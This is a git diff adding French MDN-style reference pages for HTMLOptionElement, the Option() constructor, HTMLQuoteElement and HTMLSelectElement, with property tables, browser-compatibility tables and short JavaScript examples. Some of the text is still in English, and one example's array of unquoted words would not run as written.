+    <p>Retourne la valeur de l'attribut HTML {{htmlattrxref("disabled", "option")}} , cet attribut indique que l'option ne peut pas être sélectionnée. Une option peut aussi être désactivée lorsqu'elle est fille d'un élément {{HTMLElement("optgroup")}} désactivé.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>form</code>{{readonlyInline}}</td>
+   <td>{{domxref("HTMLFormElement")}}</td>
+   <td>
+    <p>Si l'option est une fille d'un élément {{HTMLElement("select")}}, cette propriété à la même valeur que l'attribut <code>form</code> de l'objet {{DomXref("HTMLSelectElement")}}</p>
+    <p>correspondant, sinon , sa valeur est <code>null</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>index</code>{{readonlyInline}}</td>
+   <td><code>long</code></td>
+   <td>
+    <p>La position de l'option dans la liste d'options à laquelle elle appartient, dans un ordre arborescent. Si l'option ne fait pas partie d'une liste d'options , comme dans le cas où elle appartient à l'élément {{HTMLElement("datalist")}} sa valeur est 0.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>label</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Reflète la valeur de l'attribut {{htmlattrxref("label", "option")}}, qui fourni un libellé à l'option. si cet attribut n'est pas spécifié, sa lecture retourne le text de l'élément en question.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>selected</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>
+    <p>Indique si l'option est sélectionnée ou non .</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Contient le contenu texte de l'élément.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Retourne la valeur de l'attribut HTML {{htmlattrxref("value", "option")}}, s'il existe, sinon la valeur de la propriété {{domxref("Node.textContent")}} est retournée.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Méthodes">Méthodes</h2>
+<p><em>Hérite des méthodes de son parent , {{domxref("HTMLElement")}}.</em></p>
+<dl>
+ <dt>
+  {{domxref("HTMLOptionElement.Option()")}}</dt>
+ <dd>
+   </dd>
+ <dd>
+   </dd>
+ <dd>
+  c'est le constructeur créant l'objet <code>HTMLOptionElement</code> object. il accepte quatre valeurs : le texte à afficher , <code>text</code>, la valeur associée au texte , <code>value</code>, la valeur du <code>defaultSelected</code>, et la valeur du <code>selected</code>. les trois dernières sont optionnelles.</dd>
+</dl>
+<h2 id="Spécifications">Spécifications</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Etat</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-button-element.html#the-option-element", "HTMLOptionElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p>pas de changement depuis la {{SpecName("HTML5 W3C")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#the-option-element", "HTMLOptionElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>
+    <p>Le constructeur, <code>Option()</code>, a été ajouté. la propriété <code>form </code>peut avoir la valeur <code>null</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-70901257', 'HTMLOptionElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>
+    <p>Le sens de la propriété <code>selected a changé</code>: elle indique désormais si l'option est sélectionnée à l'instant , au lieu d'indiquer si elle a été initialement sélectionnée.</p>
+    <p>La propriété <code>defaultSelected</code> n'est plus en lecture seule</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-70901257', 'HTMLOptionElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>La définition initiale .</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<p>{{CompatibilityTable}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th><span class="short_text" id="result_box" lang="fr"><span class="hps">caractéristique</span></span></th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>support basique</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop(1.0)}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th><span class="short_text" id="result_box" lang="fr"><span class="hps">caractéristique</span></span></th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>support basique</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile(1.0)}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Voir_aussi">Voir aussi</h2>
+<ul>
+ <li>L'élement HTML  implèmentant cette interface : {{ HTMLElement("option") }}.</li>
+</ul>
diff --git a/files/fr/web/api/htmloptionelement/option/index.html b/files/fr/web/api/htmloptionelement/option/index.html
new file mode 100644
index 0000000000..80dc7f77cd
--- /dev/null
+++ b/files/fr/web/api/htmloptionelement/option/index.html
@@ -0,0 +1,101 @@
+---
+title: Option()
+slug: Web/API/HTMLOptionElement/Option
+tags:
+  - API
+  - Constructeur
+  - HTML DOM
+  - HTMLOptionElement
+translation_of: Web/API/HTMLOptionElement/Option
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Le constructeur <strong><code>Option()</code></strong> permet de créer un nouvel objet {{domxref("HTMLOptionElement")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>o</em><em>ptionElementReference</em> = new Option(<em>text</em>, <em>value</em>, <em>defaultSelected</em>, <em>selected</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>text</code> {{optional_inline}}</dt>
+ <dd>Une chaîne de caractères {{domxref("DOMString")}} représentant le contenu de l'élément, c'est-à-dire le texte affiché. Si cet argument n'est pas spécifié, c'est la chaîne vide qui sera utilisée.</dd>
+ <dt><code>value</code> {{optional_inline}}</dt>
+ <dd>Une chaîne de caractères {{domxref("DOMString")}} représentant la valeur de {{domxref("HTMLOptionElement")}}, c’est-à-dire l’attribut HTML <code>value</code> de l'élément {{htmlelement("option")}}. Si cet argument n'est pas fourni, ce sera la valeur de <code>text</code> qui sera reprise comme valeur (par exemple pour l'élément {{htmlelement("select")}} associé lorsque le formulaire est envoyé au serveur).</dd>
+ <dt><code>defaultSelected</code> {{optional_inline}}</dt>
+ <dd>Un {{domxref("Boolean")}} qui définit la valeur de l'attribut {{htmlattrxref("selected", "option")}}, c'est-à-dire que cette {{htmlelement("option")}} sera la valeur par défaut sélectionné dans l'élément {{htmlelement("select")}} lors du premier chargement de la page. S'il n'est pas spécifié, la valeur <code>false</code> sera utilisée par défaut.</dd>
+ <dt><code>selected</code> {{optional_inline}}</dt>
+ <dd>Un {{domxref("Boolean")}} qui définit l'état sélectionné de l'option, la valeur par défaut est <code>false</code> (non sélectionné). Si cet argument est absent et même si l'argument <code>defaultSelected</code> vaut <code>true</code>, l'option ne sera pas pas sélectionnée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Ajouter_de_nouvelles_options">Ajouter de nouvelles options</h3>
+
+<pre class="brush: js">/* Imaginons qu'on ait le code HTML suivant dans le document
+&lt;select id='s'&gt;
+
+&lt;/select&gt;
+*/
+
+var s = document.getElementById('s');
+var options = [Quatre, Cinq, Six];
+
+options.forEach(function(element,key) {
+    s[key] = new Option(element,key);
+});
+</pre>
+
+<h3 id="Ajouter_des_options_avec_différents_paramètres">Ajouter des options avec différents paramètres</h3>
+
+<pre class="brush: js">/* Imaginons qu'ont ait le code HTML suivant dans le document
+&lt;select id="s"&gt;
+  &lt;option&gt;Premier&lt;/option&gt;
+  &lt;option&gt;Deuxième&lt;/option&gt;
+  &lt;option&gt;Troisième&lt;/option&gt;
+&lt;/select&gt;
+*/
+
+var s = document.getElementById('s');
+var options = [ 'zéro', 'un', 'deux' ];
+
+options.forEach(function(element, key) {
+  if (element == 'zéro') {
+    s[s.options.length] = new Option(element, s.options.length, false, false);
+  }
+  if (element == 'un') {
+    s[s.options.length] = new Option(element, s.options.length, true, false); // Ajouter l'attribut "selected"
+  }
+  if (element == 'deux') {
+    s[s.options.length] = new Option(element, s.options.length, false, true); // Sélectionnera l'option
+  }
+});
+
+/* Résultat dans le DOM / HTML modifié :
+&lt;select id="s"&gt;
+  &lt;option value="0"&gt;zéro&lt;/option&gt;
+  &lt;option value="1" selected=""&gt;un&lt;/option&gt;
+  &lt;option value="2"&gt;deux&lt;/option&gt; // L'utilisateur verra cette option sélectionnée
+&lt;/select&gt;
+*/</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external external-icon" href="http://www.w3.org/TR/2012/WD-html5-20121025/the-option-element.html#dom-option" hreflang="en" lang="en">HTML5<br>
+    <small lang="en-US">The definition of 'Option' in that specification.</small></a></td>
+   <td>Recommendation</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/htmlquoteelement/index.html b/files/fr/web/api/htmlquoteelement/index.html
new file mode 100644
index 0000000000..5ae2324898
--- /dev/null
+++ b/files/fr/web/api/htmlquoteelement/index.html
@@ -0,0 +1,30 @@
+---
+title: HTMLQuoteElement
+slug: Web/API/HTMLQuoteElement
+tags:
+  - DOM
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLQuoteElement
+---
+<p>{{ ApiRef() }}</p>
+<h2 id="Interface_des_éléments_HTML_de_citation">Interface des éléments HTML de citation</h2>
+<p>Les objets DOM quote expose l'interface <a href="http://www.w3.org/TR/html5/grouping-content.html#htmlquoteelement" title="http://www.w3.org/TR/html5/grouping-content.html#htmlquoteelement"><code>HTMLQuoteElement</code></a> (ou {{ HTMLVersionInline(4) }} <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-70319763" title="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-70319763"><code>HTMLQuoteElement</code></a>), qui fournissent plusieurs propriétés pour manipuler les éléments de citation (et viennent s'ajouter aux propriétés habituelles pour un objet de l'interface {{domxref("element")}}, disponibles par héritage).</p>
+<h2 id="Propriétés">Propriétés</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>cite</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflète l'attribut HTML {{ htmlattrxref("cite", "blockquote") }} contenant l'URL de la source de la citation.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Voir_également">Voir également</h2>
+<p>Cette interface est supportée par les deux éléments HTML {{ HTMLElement("blockquote") }} et {{ HTMLElement("q") }}.</p>
diff --git a/files/fr/web/api/htmlselectelement/index.html b/files/fr/web/api/htmlselectelement/index.html
new file mode 100644
index 0000000000..9cd6420eb0
--- /dev/null
+++ b/files/fr/web/api/htmlselectelement/index.html
@@ -0,0 +1,268 @@
+---
+title: HTMLSelectElement
+slug: Web/API/HTMLSelectElement
+translation_of: Web/API/HTMLSelectElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>L'interface <code><strong>HTMLSelectElement</strong></code> représente un élément HTML {{HTMLElement("select")}}. Cet élément partage aussi toute les propriétés et méthodes des autres elements HTML via l'interface {{ domxref("HTMLElement") }}.</p>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de {{domxref("HTMLElement")}}, {{domxref("Element")}} et {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.autofocus")}}</dt>
+ <dd><em>Est un </em>{{jsxref("Boolean")}} qui reflète l'attribut HTML {{ htmlattrxref("autofocus", "select") }} : il indique si l'élément a le focus au chargement de la page (excepté si l'utilisateur le change, par exemple en cliquant sur un autre element). Uniquement les elément associé à un formulaire dans le document peuvent utiliser cet attribut. {{ gecko_minversion_inline("2.0") }}</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.disabled")}}</dt>
+ <dd>Est un {{jsxref("Boolean")}} qui reflète l'attribut HTML {{ htmlattrxref("disabled", "select") }} : il indique si l'élément est oui ou non desactivé. Si il est désactivé, l'élément n'accepte pas les clicks.</dd>
+ <dt>{{domxref("HTMLSelectElement.form")}} {{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("HTMLFormElement")}} représentant le formulaire associé a cet élément. Si cet élément est le fils d'un formulaire, alors cet attribut est l'ID de l'element form. Si l'élément n'est pas fils d'un formulaire, alors l'attribut peut-être l'ID de n'importe quel élément du même document.</dd>
+ <dt>{{domxref("HTMLSelectElement.labels")}} {{readonlyInline}}</dt>
+ <dd>Retourne une {{ domxref("NodeList") }} contenant la liste des labels associé avec l'éléments select.</dd>
+ <dt>{{domxref("HTMLSelectElement.length")}}</dt>
+ <dd>Est un <code>unsigned long</code> représentant le nombre d'élément {{ HTMLElement("option") }} dans cet element <code>select</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.multiple")}}</dt>
+ <dd>Est un {{jsxref("Boolean")}} représentant l'attribut HTML {{ htmlattrxref("multiple", "select") }}, qui indique si plusieurs items peuvent être choisis à la fois par l'utilisateur.</dd>
+ <dt>{{domxref("HTMLSelectElement.name")}}</dt>
+ <dd>Est une {{ domxref("DOMString") }} qui représente l'attribut HTML {{ htmlattrxref("name", "select") }}, contenant le nom de ce contrôle pour les serveurs et pour les fonctions de recherche dans le DOM.</dd>
+ <dt>{{domxref("HTMLSelectElement.options")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{ domxref("HTMLOptionsCollection") }} containing the set of {{ HTMLElement("option") }} elements contained by this element.</dd>
+ <dt>{{domxref("HTMLSelectElement.required")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} that reflects the {{ htmlattrxref("required", "select") }} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{ gecko_minversion_inline("2.0") }}</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedIndex")}}</dt>
+ <dd>Is a <code>long</code> that reflects the index of the first selected {{ HTMLElement("option") }} element. The value <code>-1</code> indicates no element is selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.selectedOptions")}} {{readonlyInline}}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} containing the set of options that are selected.</dd>
+ <dt>{{domxref("HTMLSelectElement.size")}}</dt>
+ <dd>Is a <code>long</code> that reflects the {{ htmlattrxref("size", "select") }} HTML attribute, which contains the number of visible items in the control. The default is 1, unless <code>multiple</code> is true, in which case it is 4.</dd>
+ <dt>{{domxref("HTMLSelectElement.type")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{ domxref("DOMString") }} the form control's type. When <code>multiple</code> is <code>true</code>, it returns <code>"select-multiple"</code>; otherwise, it returns <code>"select-one"</code>.</dd>
+ <dt>{{domxref("HTMLSelectElement.validationMessage")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{ domxref("DOMString") }} containing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is false), or it satisfies its constraints.</dd>
+ <dt>{{domxref("HTMLSelectElement.validity")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("ValidityState")}} representing the validity state that this control is in.</dd>
+ <dt>{{domxref("HTMLSelectElement.value")}}</dt>
+ <dd>Is a {{ domxref("DOMString") }} with the value of this form control, that is, of the first selected option.</dd>
+ <dt>{{domxref("HTMLSelectElement.willValidate")}}{{readonlyInline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLSelectElement.add()")}}</dt>
+ <dd>Adds an element to the collection of <code>option</code> elements for this <code>select</code> element.</dd>
+ <dt>{{domxref("HTMLElement.blur", "HTMLSelectElement.blur()")}} {{ obsolete_inline}}</dt>
+ <dd>Removes input focus from this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.checkValidity()")}}</dt>
+ <dd>Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{event("invalid")}} event at the element (and returns <code>false</code>).</dd>
+ <dt>{{domxref("HTMLElement.focus", "HTMLSelectElement.focus()")}} {{obsolete_inline}}</dt>
+ <dd>Gives input focus to this element. <em>This method is now implemented on {{domxref("HTMLElement")}}</em>.</dd>
+ <dt>{{domxref("HTMLSelectElement.item()")}}</dt>
+ <dd>Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.namedItem()")}}</dt>
+ <dd>Gets the item in the options collection with the specified name. The name string can match either the <code>id</code> or the <code>name</code> attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.</dd>
+ <dt>{{domxref("HTMLSelectElement.remove()")}}</dt>
+ <dd>Removes the element at the specified index from the options collection for this select element.</dd>
+ <dt>{{domxref("HTMLSelectElement.setCustomValidity()")}}</dt>
+ <dd>Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does <em>not</em> have a custom validity error.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<h3 id="Get_information_about_the_selected_option">Get information about the selected option</h3>
+
+<pre class="brush: js">/* assuming we have the following HTML
+<span class="whitespace">&lt;</span><span class="xml-tagname">select </span><span class="xml-attname">id</span><span class="xml-punctuation">=</span><span class="xml-attribute">'s'</span><span class="xml-punctuation">&gt;</span>
+<span class="whitespace">    </span><span class="xml-punctuation">&lt;</span><span class="xml-tagname">option</span><span class="xml-punctuation">&gt;</span><span class="xml-text">First</span><span class="xml-punctuation">&lt;/</span><span class="xml-tagname">option</span><span class="xml-punctuation">&gt;</span>
+<span class="whitespace">    </span><span class="xml-punctuation">&lt;</span><span class="xml-tagname">option </span><span class="xml-attname">selected</span><span class="xml-punctuation">&gt;</span><span class="xml-text">Second</span><span class="xml-punctuation">&lt;/</span><span class="xml-tagname">option</span><span class="xml-punctuation">&gt;</span>
+<span class="whitespace">    </span><span class="xml-punctuation">&lt;</span><span class="xml-tagname">option</span><span class="xml-punctuation">&gt;</span><span class="xml-text">Third</span><span class="xml-punctuation">&lt;/</span><span class="xml-tagname">option</span><span class="xml-punctuation">&gt;</span>
+<span class="xml-punctuation">&lt;/</span><span class="xml-tagname">select</span><span class="xml-punctuation">&gt;</span>
+*/
+
+<span class="js-keyword">var </span><span class="js-variable">select </span><span class="js-operator">= </span><span class="js-variable">document</span><span class="js-punctuation">.</span><span class="js-property">getElementById</span><span class="js-punctuation">(</span><span class="js-string">'s'</span><span class="js-punctuation">)</span><span class="js-punctuation">;</span>
+
+<span class="js-comment">// return the index of the selected option</span>
+<span class="js-variable">alert</span><span class="js-punctuation">(</span><span class="js-variable">select</span><span class="js-punctuation">.</span><span class="js-property">selectedIndex</span><span class="js-punctuation">)</span><span class="js-punctuation">; </span><span class="js-comment">// 1</span>
+
+<span class="js-comment">// return the value of the selected option</span>
+<span class="js-variable">alert</span><span class="js-punctuation">(</span><span class="js-variable">select</span><span class="js-punctuation">.</span><span class="js-property">options</span><span class="js-punctuation">[</span><span class="js-variable">select</span><span class="js-punctuation">.</span><span class="js-property">selectedIndex</span><span class="js-punctuation">]</span><span class="js-punctuation">.</span><span class="js-property">value</span><span class="js-punctuation">) </span><span class="js-comment">// Second</span>
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the <code>autocomplete</code> property and the <code>reportValidity()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.<br>
+    It adds the <code>autofocus</code>, <code>form</code>, <code>required</code>, <code>labels</code>, <code>selectedOptions</code>, <code>willValidate</code>, <code>validity</code> and <code>validationMessage</code> properties.<br>
+    The <code>tabindex</code> property and the <code>blur()</code> and <code>focus()</code> methods have been moved to {{domxref("HTMLElement")}}.<br>
+    The methods <code>item()</code>, <code>namedItem()</code>, <code>checkValidity()</code> and <code>setCustomValidity()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td><code>options</code> now returns an {{domxref("HTMLOptionsCollection")}}.<br>
+    <code>length</code> now returns an <code>unsigned long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>item()</code> and <code>namedItem()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code>, <code>checkValidity()</code>, <code>willValidate</code>, <code>validationMessage</code>, <code>validity</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectedOptions</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(26)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ unimplemented_inline("556743") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>item()</code> and <code>namedItem()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code>, <code>checkValidity()</code>, <code>willValidate</code>, <code>validationMessage</code>, <code>validity</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectedOptions</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(26)}}</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ unimplemented_inline("556743") }}</td>
+   <td>{{ unimplemented_inline("556743") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{HTMLElement("select")}} HTML element, implementing this interface.</li>
+</ul>
+
+<dl>
+ <dt> </dt>
+</dl>
diff --git a/files/fr/web/api/htmlselectelement/remove/index.html b/files/fr/web/api/htmlselectelement/remove/index.html
new file mode 100644
index 0000000000..e631e15531
--- /dev/null
+++ b/files/fr/web/api/htmlselectelement/remove/index.html
@@ -0,0 +1,134 @@
+---
+title: HTMLSelectElement.remove()
+slug: Web/API/HTMLSelectElement/remove
+translation_of: Web/API/HTMLSelectElement/remove
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>La méthode <code><strong>HTMLSelectElement.remove()</strong></code> enlève l'option à l'index choisi dans la liste des options de cet objet select.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">collection.remove(index);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètre</h3>
+
+<ul>
+ <li><em>index est</em> un entier long définissant la position du {{ domxref("HTMLOptionElement") }} à enlever de la collection. Si rien n'est trouvé à cette position dans la liste, la méthode n'a aucun effet.</li>
+</ul>
+
+<dl>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var sel = document.getElementById("maListe");
+sel.remove(1);
+
+/*
+  Prend l'objet select existant suivant :
+
+  &lt;select id="maListe" name="maListe"&gt;
+    &lt;option value="1"&gt;Option: Value 1&lt;/option&gt;
+    &lt;option value="2"&gt;Option: Value 2&lt;/option&gt;
+    &lt;option value="3"&gt;Option: Value 3&lt;/option&gt;
+  &lt;/select&gt;
+
+  Et le transforme en:
+
+  &lt;select id="maListe" name="maListe"&gt;
+    &lt;option value="1"&gt;Option: Value 1&lt;/option&gt;
+    &lt;option value="3"&gt;Option: Value 3&lt;/option&gt;
+  &lt;/select&gt;
+*/
+ </pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-select-remove', 'HTMLSelectElement.remove()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-select-remove', 'HTMLSelectElement.remove()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-33404570', 'HTMLSelectElement.remove()')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-33404570', 'HTMLSelectElement.remove()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navigateurs_compatibles">Navigateurs compatibles</h2>
+
+<p>{{CompatibilityTable}}</p>
+
